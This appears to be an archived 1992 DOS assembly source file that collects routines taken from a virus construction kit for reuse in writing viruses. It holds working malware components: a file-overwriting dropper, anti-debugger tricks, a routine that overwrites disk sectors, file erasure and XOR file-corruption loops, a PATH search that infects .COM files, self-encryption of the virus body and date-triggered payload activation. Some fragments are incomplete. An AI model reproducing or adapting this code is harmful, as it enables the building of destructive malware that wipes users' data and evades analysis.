home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIR_RTNS.ASM < prev    next >
Assembly Source File  |  1992-09-11  |  21KB  |  664 lines

  1. ;These routines were pulled from the VCL as an aid to those who
  2. ;wish to write themselves some utilities. I have tried to gather
  3. ;all the essential pieces of the routines, so that you can simply
  4. ;install them in modules.
  5. ;
  6. ;
  7. ;
  8. ;
  9. ;This is a DROPPER routine from the VCL.
  10.  
  11.  
  12.                 mov     dx,offset data00        ; DX points to data
  13.         mov    si,offset data01    ; SI points to data
  14.         push    di            ; Save DI
  15.         mov    ah,02Fh            ; DOS get DTA function
  16.         int    021h
  17.         mov    di,bx            ; DI points to DTA
  18.         mov    ah,04Eh            ; DOS find first file function
  19.         mov    cx,00100111b        ; CX holds all file attributes
  20.         int    021h
  21.         jc    create_file        ; If not found then create it
  22. write_in_file:    mov    ax,04301h        ; DOS set file attributes function
  23.         xor    cx,cx            ; File will have no attributes
  24.         lea    dx,[di + 01Eh]        ; DX points to file name
  25.         int    021h
  26.         mov    ax,03D01h        ; DOS open file function, write
  27.         lea    dx,[di + 01Eh]        ; DX points to file name
  28.         int    021h
  29.         xchg    bx,ax            ; Transfer file handle to AX
  30.         mov    ah,040h            ; DOS write to file function
  31.         mov    cx,[si]            ; CX holds number of byte to write
  32.         lea    dx,[si + 2]        ; DX points to the data
  33.         int    021h
  34.         mov    ax,05701h        ; DOS set file date/time function
  35.         mov    cx,[di + 016h]        ; CX holds old file time
  36.         mov    dx,[di + 018h]        ; DX holds old file data
  37.         int    021h
  38.         mov    ah,03Eh            ; DOS close file function
  39.         int    021h
  40.         mov    ax,04301h        ; DOS set file attributes function
  41.         xor    ch,ch            ; Clear CH for attributes
  42.         mov    cl,[di + 015h]        ; CL holds old attributes
  43.         lea    dx,[di + 01Eh]        ; DX points to file name
  44.         int    021h
  45.         mov    ah,04Fh            ; DOS find next file function
  46.         int    021h
  47.         jnc    write_in_file        ; If successful do next file
  48.         jmp    short dropper_end    ; Otherwise exit
  49. create_file:    mov    ah,03Ch            ; DOS create file function
  50.         xor    cx,cx            ; File has no attributes
  51.         int    021h
  52.         xchg    bx,ax            ; Transfer file handle to AX
  53.         mov    ah,040h            ; DOS write to file function
  54.         mov    cx,[si]            ; CX holds number of byte to write
  55.         lea    dx,[si + 2]        ; DX points to the data
  56.         int    021h
  57.         mov    ah,03Eh            ; DOS close file function
  58.         int    021h
  59. dropper_end:    pop    di            ; Restore DI
  60.  
  61.  
  62.         mov    ax,04C00h        ; DOS terminate function
  63.                 int     021h
  64.  
  65. ;This is a STOP TRACE technique for fouling up DEBUGGERS
  66.  
  67.  
  68. stop_tracing:    mov    cx,09EBh
  69.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  70.         jmp    $-2
  71.         add    ah,03Bh            ; AH now equals 025h
  72.         jmp    $-10            ; Execute the HaLT
  73.         mov    bx,offset null_vector    ; BX points to new routine
  74.         push    cs            ; Transfer CS into ES
  75.         pop    es            ; using a PUSH/POP
  76.         int    021h
  77.         mov    al,1            ; Disable interrupt 1, too
  78.         int    021h
  79.         jmp    short skip_null        ; Hop over the loop
  80. null_vector:    jmp    $            ; An infinite loop
  81. skip_null:    mov    byte ptr [lock_keys + 1],130  ; Prefetch unchanged
  82. lock_keys:    mov    al,128            ; Change here screws DEBUG
  83.         out    021h,al            ; If tracing then lock keyboard
  84.  
  85. ;This is a TRASH routine for destroying sectors
  86.  
  87.  
  88.         mov    ax,0002h        ; First argument is 2
  89.         mov    cx,0001h        ; Second argument is 1
  90.         cli                ; Disable interrupts (no Ctrl-C)
  91.         cwd                ; Clear DX (start with sector 0)
  92. trash_loop:    int    026h            ; DOS absolute write interrupt
  93.         dec    ax            ; Select the previous disk
  94.         cmp    ax,-1            ; Have we gone too far?
  95.         jne    trash_loop        ; If not, repeat with new drive
  96.         sti                ; Restore interrupts
  97.  
  98. ;This is a FILE ERASE routine
  99.  
  100.  
  101.         mov    dx,offset data02    ; DX points to data
  102.         mov    ah,04Eh            ; DOS find first file function
  103.         mov    cx,00100111b        ; All file attributes valid
  104.         int    021h
  105.         jc    erase_done        ; Exit procedure on failure
  106.         mov    ah,02Fh            ; DOS get DTA function
  107.         int    021h
  108.         lea    dx,[bx + 01Eh]        ; DX points to filename in DTA
  109. erase_loop:    mov    ah,041h            ; DOS delete file function
  110.         int    021h
  111.         mov    ah,03Ch            ; DOS create file function
  112.         xor    cx,cx            ; No attributes for new file
  113.         int    021h
  114.         mov    ah,041h            ; DOS delete file function
  115.         int    021h
  116.         mov    ah,04Fh            ; DOS find next file function
  117.         int    021h
  118.         jnc    erase_loop        ; Repeat until no files left
  119. erase_done:
  120.  
  121.         mov    ax,04C00h        ; DOS terminate function
  122.         int    021h
  123.  
  124. ;This is a DIRECTORY "PATH"/ FILE FIND routine
  125.  
  126.  
  127. search_files    proc    near
  128.         mov    bx,di            ; BX points to the virus
  129.         push    bp            ; Save BP
  130.         mov    bp,sp            ; BP points to local buffer
  131.         sub    sp,135            ; Allocate 135 bytes on stack
  132.  
  133.         mov    byte ptr [bp - 135],'\'    ; Start with a backslash
  134.  
  135.         mov    ah,047h            ; DOS get current dir function
  136.         xor    dl,dl            ; DL holds drive # (current)
  137.         lea    si,[bp - 134]        ; SI points to 64-byte buffer
  138.         int    021h
  139.  
  140.         call    traverse_path        ; Start the traversal
  141.  
  142. traversal_loop:    cmp    word ptr [bx + path_ad],0    ; Was the search unsuccessful?
  143.         je    done_searching        ; If so then we're done
  144.         call    found_subdir        ; Otherwise copy the subdirectory
  145.  
  146.         mov    ax,cs            ; AX holds the code segment
  147.         mov    ds,ax            ; Set the data and extra
  148.         mov    es,ax            ; segments to the code segment
  149.  
  150.         xor    al,al            ; Zero AL
  151.         stosb                ; NULL-terminate the directory
  152.  
  153.         mov    ah,03Bh            ; DOS change directory function
  154.         lea    dx,[bp - 70]        ; DX points to the directory
  155.         int    021h
  156.  
  157.         lea    dx,[bx + com_mask]    ; DX points to "*.COM"
  158.         push    di
  159.         mov    di,bx
  160.         call    find_files        ; Try to infect a .COM file
  161.         mov    bx,di
  162.         pop    di
  163.         jnc    done_searching        ; If successful the exit
  164.         jmp    short traversal_loop    ; Keep checking the PATH
  165.  
  166. done_searching:    mov    ah,03Bh            ; DOS change directory function
  167.         lea    dx,[bp - 135]        ; DX points to old directory
  168.         int    021h
  169.  
  170.         cmp    word ptr [bx + path_ad],0    ; Did we run out of directories?
  171.         jne    at_least_tried        ; If not then exit
  172.         stc                ; Set the carry flag for failure
  173. at_least_tried:    mov    sp,bp            ; Restore old stack pointer
  174.         pop    bp            ; Restore BP
  175.         ret                ; Return to caller
  176. com_mask    db    "*.COM",0        ; Mask for all .COM files
  177. search_files    endp
  178.  
  179. traverse_path    proc    near
  180.         mov    es,word ptr cs:[002Ch]    ; ES holds the enviroment segment
  181.         xor    di,di            ; DI holds the starting offset
  182.  
  183. find_path:    lea    si,[bx + path_string]    ; SI points to "PATH="
  184.         lodsb                ; Load the "P" into AL
  185.         mov    cx,08000h        ; Check the first 32767 bytes
  186.     repne    scasb                ; Search until the byte is found
  187.         mov    cx,4            ; Check the next four bytes
  188. check_next_4:    lodsb                ; Load the next letter of "PATH="
  189.         scasb                ; Compare it to the environment
  190.         jne    find_path        ; If there not equal try again
  191.         loop    check_next_4        ; Otherwise keep checking
  192.  
  193.         mov    word ptr [bx + path_ad],di    ; Save the PATH address
  194.         mov    word ptr [bx + path_ad + 2],es  ; Save the PATH's segment
  195.         ret                ; Return to caller
  196.  
  197. path_string    db    "PATH="            ; The PATH string to search for
  198. path_ad        dd    ?            ; Holds the PATH's address
  199. traverse_path    endp
  200.  
  201. found_subdir    proc    near
  202.         lds    si,dword ptr [bx + path_ad]    ; DS:SI points to PATH
  203.         lea    di,[bp - 70]        ; DI points to the work buffer
  204.         push    cs            ; Transfer CS into ES for
  205.         pop    es            ; byte transfer
  206. move_subdir:    lodsb                ; Load the next byte into AL
  207.         cmp    al,';'            ; Have we reached a separator?
  208.         je    moved_one        ; If so we're done copying
  209.         or    al,al            ; Are we finished with the PATH?
  210.         je    moved_last_one        ; If so get out of here
  211.         stosb                ; Store the byte at ES:DI
  212.         jmp    short move_subdir    ; Keep transfering characters
  213.  
  214. moved_last_one:    xor    si,si            ; Zero SI to signal completion
  215. moved_one:    mov    word ptr es:[bx + path_ad],si  ; Store SI in the path address
  216.         ret                ; Return to caller
  217. found_subdir    endp
  218.  
  219. find_files    proc    near
  220.         push    bp            ; Save BP
  221.  
  222.         mov    ah,02Fh            ; DOS get DTA function
  223.         int    021h
  224.         push    bx            ; Save old DTA address
  225.  
  226.         mov    bp,sp            ; BP points to local buffer
  227.         sub    sp,128            ; Allocate 128 bytes on stack
  228.  
  229.         push    dx            ; Save file mask
  230.         mov    ah,01Ah            ; DOS set DTA function
  231.         lea    dx,[bp - 128]        ; DX points to buffer
  232.         int    021h
  233.  
  234.         mov    ah,04Eh            ; DOS find first file function
  235.         mov    cx,00100111b        ; CX holds all file attributes
  236.         pop    dx            ; Restore file mask
  237. find_a_file:    int    021h
  238.         jc    done_finding        ; Exit if no files found
  239.         call    infect_file        ; Infect the file!
  240.         jnc    done_finding        ; Exit if no error
  241.         mov    ah,04Fh            ; DOS find next file function
  242.         jmp    short find_a_file    ; Try finding another file
  243.  
  244. done_finding:    mov    sp,bp            ; Restore old stack frame
  245.         mov    ah,01Ah            ; DOS set DTA function
  246.         pop    dx            ; Retrieve old DTA address
  247.         int    021h
  248.  
  249.         pop    bp            ; Restore BP
  250.         ret                ; Return to caller
  251. find_files    endp
  252.  
  253.  
  254. ;This is a RAM REDUCTION routine
  255.  
  256.  
  257.         mov    dx,0064h        ; First argument is 100
  258.         push    es            ; Save ES
  259.         mov    ax,040h            ; Set extra segment to 040h
  260.         mov    es,ax                   ; (ROM BIOS)
  261.         mov    word ptr es:[013h],dx    ; Store new RAM ammount
  262.         pop    es            ; Restore ES
  263.  
  264.         mov    ah,0Fh            ; BIOS get video mode function
  265.         int    010h
  266.         xor    ah,ah            ; BIOS set video mode function
  267.         int    010h
  268.  
  269.  
  270. ;This is a MACHINE GUN SOUND routine followed by a DROP TO ROM routine
  271.  
  272.  
  273.         mov    cx,0005h        ; First argument is 5
  274. new_shot:       push    cx            ; Save the current count
  275.         mov     dx,0140h        ; DX holds pitch
  276.         mov       bx,0100h        ; BX holds shot duration
  277.         in        al,061h            ; Read the speaker port
  278.         and       al,11111100b        ; Turn off the speaker bit
  279. fire_shot:    xor    al,2                    ; Toggle the speaker bit
  280.         out    061h,al            ; Write AL to speaker port
  281.         add     dx,09248h        ;
  282.         mov    cl,3                    ;
  283.         ror    dx,cl            ; Figure out the delay time
  284.         mov    cx,dx                   ;
  285.         and    cx,01FFh                ;
  286.         or    cx,10                   ;
  287. shoot_pause:    loop    shoot_pause             ; Delay a bit
  288.         dec    bx            ; Are we done with the shot?
  289.         jnz    fire_shot        ; If not, pulse the speaker
  290.         and       al,11111100b        ; Turn off the speaker bit
  291.         out       061h,al            ; Write AL to speaker port
  292.         mov       bx,0002h                ; BX holds delay time (ticks)
  293.         xor       ah,ah            ; Get time function
  294.         int       1Ah            ; BIOS timer interrupt
  295.         add       bx,dx                   ; Add current time to delay
  296. shoot_delay:    int       1Ah            ; Get the time again
  297.         cmp       dx,bx            ; Are we done yet?
  298.         jne       shoot_delay        ; If not, keep checking
  299.         pop    cx            ; Restore the count
  300.         loop    new_shot        ; Do another shot
  301.  
  302.         int    018h            ; Drop to ROM BASIC
  303.  
  304.  
  305.         mov    ax,04C00h        ; DOS terminate function
  306.         int    021h
  307.  
  308.  
  309. ;This is a DISPLAY STRING routine
  310.  
  311.  
  312. main        proc    near
  313.         mov    si,offset data00    ; SI points to data
  314.         mov    ah,0Eh            ; BIOS display char. function
  315. display_loop:   lodsb                ; Load the next char. into AL
  316.         or    al,al            ; Is the character a null?
  317.         je    disp_strnend        ; If it is, exit
  318.         int    010h            ; BIOS video interrupt
  319.         jmp    short display_loop    ; Do the next character
  320. disp_strnend:
  321.  
  322.  
  323. This is a RANDOM NUMBER from BIOS CLOCK generator
  324.  
  325.  
  326. get_random      proc    near
  327.         xor    ah,ah            ; BIOS get clock count function
  328.         int    01Ah
  329.         xchg    dx,ax            ; Transfer the count into AX
  330.         ret                ; Return to caller
  331. get_random      endp
  332.  
  333.  
  334. This is an CODE ENCRYPTION routine
  335.  
  336.  
  337. encrypt_code    proc    near
  338.         mov    si,offset encrypt_decrypt; SI points to cipher routine
  339.  
  340.         xor    ah,ah            ; BIOS get time function
  341.         int    01Ah
  342.         mov    word ptr [si + 8],dx    ; Low word of timer is new key
  343.  
  344.         xor    byte ptr [si],1        ;
  345.         xor    byte ptr [si + 7],1    ; Change all SIs to DIs
  346.         xor    word ptr [si + 10],0101h; (and vice-versa)
  347.  
  348.         mov    di,offset finish    ; Copy routine into heap
  349.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  350.         push    si            ; Save SI for later
  351.         push    cx            ; Save CX for later
  352.     rep    movsb                ; Copy the bytes
  353.  
  354.         mov    si,offset write_stuff    ; SI points to write stuff
  355.         mov    cx,5            ; CX holds length of write
  356.     rep    movsb                ; Copy the bytes
  357.  
  358.         pop    cx            ; Restore CX
  359.         pop    si            ; Restore SI
  360.         inc    cx            ; Copy the RET also this time
  361.     rep    movsb                ; Copy the routine again
  362.  
  363.         mov    ah,040h            ; DOS write to file function
  364.         mov    dx,offset start        ; DX points to virus
  365.  
  366.         call    finish            ; Encrypt/write/decrypt
  367.  
  368.         ret                ; Return to caller
  369.  
  370. write_stuff:    mov    cx,finish - start    ; Length of code
  371.         int    021h
  372. encrypt_code    endp
  373.  
  374. end_of_code    label    near
  375.  
  376. encrypt_decrypt    proc    near
  377.         mov    si,offset start_of_code ; SI points to code to decrypt
  378.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  379. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  380.         inc    si            ; Do the next word
  381.         inc    si            ;
  382.         loop    xor_loop        ; Loop until we're through
  383.         ret                ; Return to caller
  384. encrypt_decrypt    endp
  385.  
  386.  
  387. ;This is a BEEP routine
  388.  
  389.  
  390. beep            proc    near
  391.         jcxz    beep_end        ; Exit if there are no beeps
  392.         mov    ax,0E07h        ; BIOS display char., BEL
  393. beep_loop:    int    010h            ; Beep
  394.         loop    beep_loop        ; Beep until --CX = 0
  395. beep_end:
  396.         ret                ; Return to caller
  397. beep            endp
  398.  
  399.  
  400. ;This is a GET DAY/WEEK COMPARE BEFORE ACTIVATE routine
  401.  
  402.  
  403.         call    get_day
  404.         cmp    ax,000Bh        ; Did the function return 11?
  405.         jne    skip00            ; If not equal, skip effect
  406.         call    get_weekday
  407.         cmp    ax,0005h        ; Did the function return 5?
  408.         jne    skip00            ; If not equal, skip effect
  409.         jmp    short strt00        ; Success -- skip jump
  410. skip00:        jmp    end00            ; Skip the routine
  411. strt00:        mov    si,offset data00    ; SI points to data
  412.         mov    ah,0Eh            ; BIOS display char. function
  413.  
  414. ;Code goes between this-------------------------------->
  415.  
  416. get_day         proc    near
  417.         mov    ah,02Ah            ; DOS get date function
  418.         int    021h
  419.         mov    al,dl            ; Copy day into AL
  420.         cbw                ; Sign-extend AL into AX
  421.         ret                ; Return to caller
  422. get_day         endp
  423.  
  424. get_weekday     proc    near
  425.         mov    ah,02Ah            ; DOS get date function
  426.         int    021h
  427.         cbw                ; Sign-extend AL into AX
  428.         ret                ; Return to caller
  429. get_weekday     endp
  430.  
  431.  
  432. ;This is a FILE CORRUPTION routine
  433.  
  434.  
  435.         mov    dx,offset data01    ; DX points to data
  436.         push    bp            ; Save BP
  437.         mov    bp,sp            ; BP points to stack frame
  438.         sub    sp,4096            ; Allocate 4096-byte buffer
  439.         push    di            ; Save DI
  440.         mov    ah,02Fh            ; DOS get DTA function
  441.         int    021h
  442.         mov    di,bx            ; DI points to DTA
  443.         mov    ah,04Eh            ; DOS find first file function
  444.         mov    cx,00100111b        ; CX holds all file attributes
  445.         int    021h
  446.         jc      corrupt_end        ; If no files found then exit
  447. corrupt_file:    mov    ax,04301h        ; DOS set file attributes function
  448.         xor    cx,cx            ; File will have no attributes
  449.         lea    dx,[di + 01Eh]        ; DX points to file name
  450.         int    021h
  451.         mov    ax,03D02h        ; DOS open file function, r/w
  452.         lea    dx,[di + 01Eh]        ; DX points to file name
  453.         int    021h
  454.         xchg    bx,ax            ; Transfer file handle to AX
  455. c_crypt_loop:    mov    ah,03Fh            ; DOS read from file function
  456.         mov    cx,4096            ; Read 4k of characters
  457.         lea    dx,[bp - 4096]        ; DX points to the buffer
  458.         int    021h
  459.         or    ax,ax            ; Were 0 bytes read?
  460.         je    close_c_file        ; If so then close it up
  461.         push    ax            ; Save AX
  462.         lea    si,[bp - 4096]        ; SI points to the buffer
  463.         xor    ah,ah            ; BIOS get clock ticks function
  464.         int    01Ah
  465.         pop    cx            ; CX holds number of bytes read
  466.         push    cx            ; Save CX
  467. corrupt_bytes:    xor    byte ptr [si],dl    ; XOR byte by clock ticks
  468.         inc    si            ; Do the next byte
  469.         inc    dx            ; Change the key for next byte
  470.         loop    corrupt_bytes        ; Repeat until buffer is done
  471.         pop    dx            ; Restore DX (holds bytes read)
  472.         push    dx            ; Save count for write
  473.         mov    ax,04201h        ; DOS file seek function, current
  474.         mov    cx,0FFFFh        ; Seeking backwards
  475.         neg    dx            ; Seeking backwards
  476.         int    021h
  477.         mov    ah,040h            ; DOS write to file function
  478.         pop    cx            ; CX holds number of bytes read
  479.         lea    dx,[bp - 4096]        ; DX points to the buffer
  480.         int    021h
  481.         jmp    short c_crypt_loop
  482. close_c_file:    mov    ax,05701h        ; DOS set file date/time function
  483.         mov    cx,[di + 016h]        ; CX holds old file time
  484.         mov    dx,[di + 018h]        ; DX holds old file data
  485.         int    021h
  486.         mov    ah,03Eh            ; DOS close file function
  487.         int    021h
  488.         mov    ax,04301h        ; DOS set file attributes function
  489.         xor    ch,ch            ; Clear CH for attributes
  490.         mov    cl,[di + 015h]        ; CL holds old attributes
  491.         lea    dx,[di + 01Eh]        ; DX points to file name
  492.         int    021h
  493.         mov    ah,04Fh            ; DOS find next file function
  494.         int    021h
  495.         jnc    corrupt_file        ; If successful do next file
  496. corrupt_end:    pop    di            ; Restore DI
  497.         mov    sp,bp            ; Deallocate local buffer
  498.         pop    bp            ; Restore BP
  499.  
  500.  
  501. ;This is a COM PORT REARRANGING routin
  502.  
  503.  
  504.         mov    bx,0001h        ; First argument is 1
  505.         mov    si,0002h        ; Second argument is 2
  506.         push    es            ; Save ES
  507.         xor    ax,ax            ; Set the extra segment to
  508.         mov    es,ax                   ; zero (ROM BIOS)
  509.         shl    bx,1            ; Convert to word index
  510.         shl    si,1            ; Convert to word index
  511.         mov    ax,word ptr [bx + 03FEh]; Zero COM port address
  512.         xchg    word ptr [si + 03FEh],ax; Put first value in second,
  513.         mov    word ptr [bx + 03FEh],ax; and second value in first!
  514.         pop    es            ; Restore ES
  515.  
  516.  
  517. ;This is a DROP TO ROM routine
  518.  
  519.  
  520. rom_basic       proc    near
  521.         int    018h            ; Drop to ROM BASIC
  522.         ret                ; Return to caller
  523. rom_basic       endp
  524.  
  525.  
  526. ;This is a TUNE PLAYING routine + TUNE DATA
  527.  
  528.  
  529.         mov    si,offset data00    ; SI points to data
  530. get_note:    mov    bx,[si]            ; Load BX with the frequency
  531.         or    bx,bx            ; Is BX equal to zero?
  532.         je      play_tune_done        ; If it is we are finished
  533.  
  534.         mov    ax,034DDh        ;
  535.         mov    dx,0012h                ;
  536.         cmp    dx,bx                   ;
  537.         jnb    new_note                ;
  538.         div    bx                      ; This bit here was stolen
  539.         mov    bx,ax                   ; from the Turbo C++ v1.0
  540.         in    al,061h                 ; library file CS.LIB.  I
  541.         test    al,3                    ; extracted sound() from the
  542.         jne    skip_an_or              ; library and linked it to
  543.         or    al,3                    ; an .EXE file, then diassembled
  544.         out    061h,al                 ; it.  Basically this turns
  545.         mov    al,0B6h                 ; on the speaker at a certain
  546.         out    043h,al                 ; frequency.
  547. skip_an_or:    mov    al,bl                   ;
  548.         out    042h,al                 ;
  549.         mov    al,bh                   ;
  550.         out    042h,al                 ;
  551.  
  552.         mov    bx,[si + 2]        ; BX holds duration value
  553.         xor    ah,ah            ; BIOS get time function
  554.         int    1Ah
  555.         add    bx,dx            ; Add the time to the length
  556. wait_loop:      int    1Ah                     ; Get the time again (AH = 0)
  557.         cmp    dx,bx            ; Is the delay over?
  558.         jne    wait_loop        ; Repeat until it is
  559.  
  560.         in    al,061h            ; Stolen from the nosound()
  561.         and    al,0FCh                 ; procedure in Turbo C++ v1.0.
  562.         out    061h,al                 ; This turns off the speaker.
  563.  
  564. new_note:    add    si,4            ; SI points to next note
  565.         jmp    short get_note        ; Repeat with the next note
  566. play_tune_done:
  567.  
  568.  
  569. data00        dw    262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6
  570.         dw    262,6,262,6,293,6,329,6,262,12,262,12
  571.         dw    262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6
  572.         dw    246,6,196,6,220,6,246,6,262,12,262,12
  573.         dw    220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6
  574.         dw    196,6,220,6,196,6,174,6,164,6,174,6,196,7
  575.         dw    220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7
  576.         dw    196,6,262,6,246,6,293,6,262,12,262,12
  577.         dw    0
  578.  
  579.  
  580. ;This is an ANSI DISPLAY routine
  581.  
  582.  
  583.  
  584.         mov    si,offset data01    ; SI points to data
  585.         xor    cx,cx            ; Clear CX
  586.         push    di                      ; Save DI
  587.         push    es            ; Save ES
  588.  
  589.         jcxz    uncrunch_done        ; Exit if there are no characters
  590.  
  591.         mov    ah,0Fh              ; BIOS get screen mode function
  592.         int    10h
  593.         xor    ah,ah               ; BIOS set screen mode function
  594.         int    10h                 ; Clear the screen
  595.  
  596.         xor    di,di
  597.         mov    ax,0B800h        ; AX is set to video segment
  598.         mov    es,ax            ; ES holds video segment
  599.  
  600.         mov    dx,di            ; Save X coordinate for later
  601.         xor    ax,ax            ; Set current attributes
  602.         cld
  603.  
  604. loopa:        lodsb                ; Get next character
  605.         cmp    al,32            ; Is it a control character?
  606.         jb    foreground        ; Handle it if it is
  607.         stosw                ; Save letter on screen
  608. next:        loop    loopa            ; Repeat until we're done
  609.         jmp    short uncrunch_done    ; Leave this routine
  610.  
  611. foreground:    cmp    al,16            ; Are we changing the foreground?
  612.         jnb    background        ; If not, check the background
  613.         and    ah,0F0h            ; Strip off old foreground
  614.         or    ah,al            ; Put the new one on
  615.         jmp    short next        ; Resume looping
  616.  
  617. background:    cmp    al,24            ; Are we changing the background?
  618.         je    next_line        ; If AL = 24, go to next line
  619.         jnb    flash_bit_toggle    ; If AL > 24 set the flash bit
  620.         sub    al,16           ; Change AL to a color number
  621.         add    al,al            ; Crude way of shifting left
  622.         add    al,al                   ; four bits without changing
  623.         add    al,al                   ; CL or wasting space.  Ok,
  624.         add    al,al                   ; I guess.
  625.         and    al,08Fh            ; Strip off old background
  626.         or    ah,al            ; Put the new one on
  627.         jmp    short next        ; Resume looping
  628.  
  629. next_line:    add    dx,160            ; Skip a whole line (80 chars.
  630.         mov    di,dx            ; AND 80 attribs.)
  631.         jmp    short next        ; Resume looping
  632.  
  633. flash_bit_toggle: cmp    al,27            ; Is it a blink toggle?
  634.         jb    multi_output        ; If AL < 27, it's a blinker
  635.         jne    next            ; Otherwise resume looping
  636.         xor    ah,128            ; Toggle the flash bit
  637.         jmp    short next        ; Resume looping
  638.  
  639. multi_output:   cmp    al,25            ; Set Zero flag if multi-space
  640.         mov    bx,cx            ; Save main counter
  641.         lodsb                ; Get number of repititions
  642.         mov    cl,al            ; Put it in CL
  643.         mov    al,' '            ; AL holds a space
  644.         jz    start_output        ; If displaying spaces, jump
  645.         lodsb                ; Otherwise get character to use
  646.         dec    bx            ; Adjust main counter
  647.  
  648. start_output:    xor    ch,ch            ; Clear CH
  649.         inc    cx            ; Add one to count
  650.     rep    stosw                ; Display the character
  651.         mov    cx,bx            ; Restore main counter
  652.         dec    cx            ; Adjust main counter
  653.         loopnz    loopa            ; Resume looping if not done
  654.  
  655. uncrunch_done:    pop    es            ; Restore ES
  656.         pop    di            ; Restore DI
  657.  
  658.  
  659.         mov    ax,04C00h        ; DOS terminate function
  660.         int    021h
  661.  
  662.  
  663.  
  664.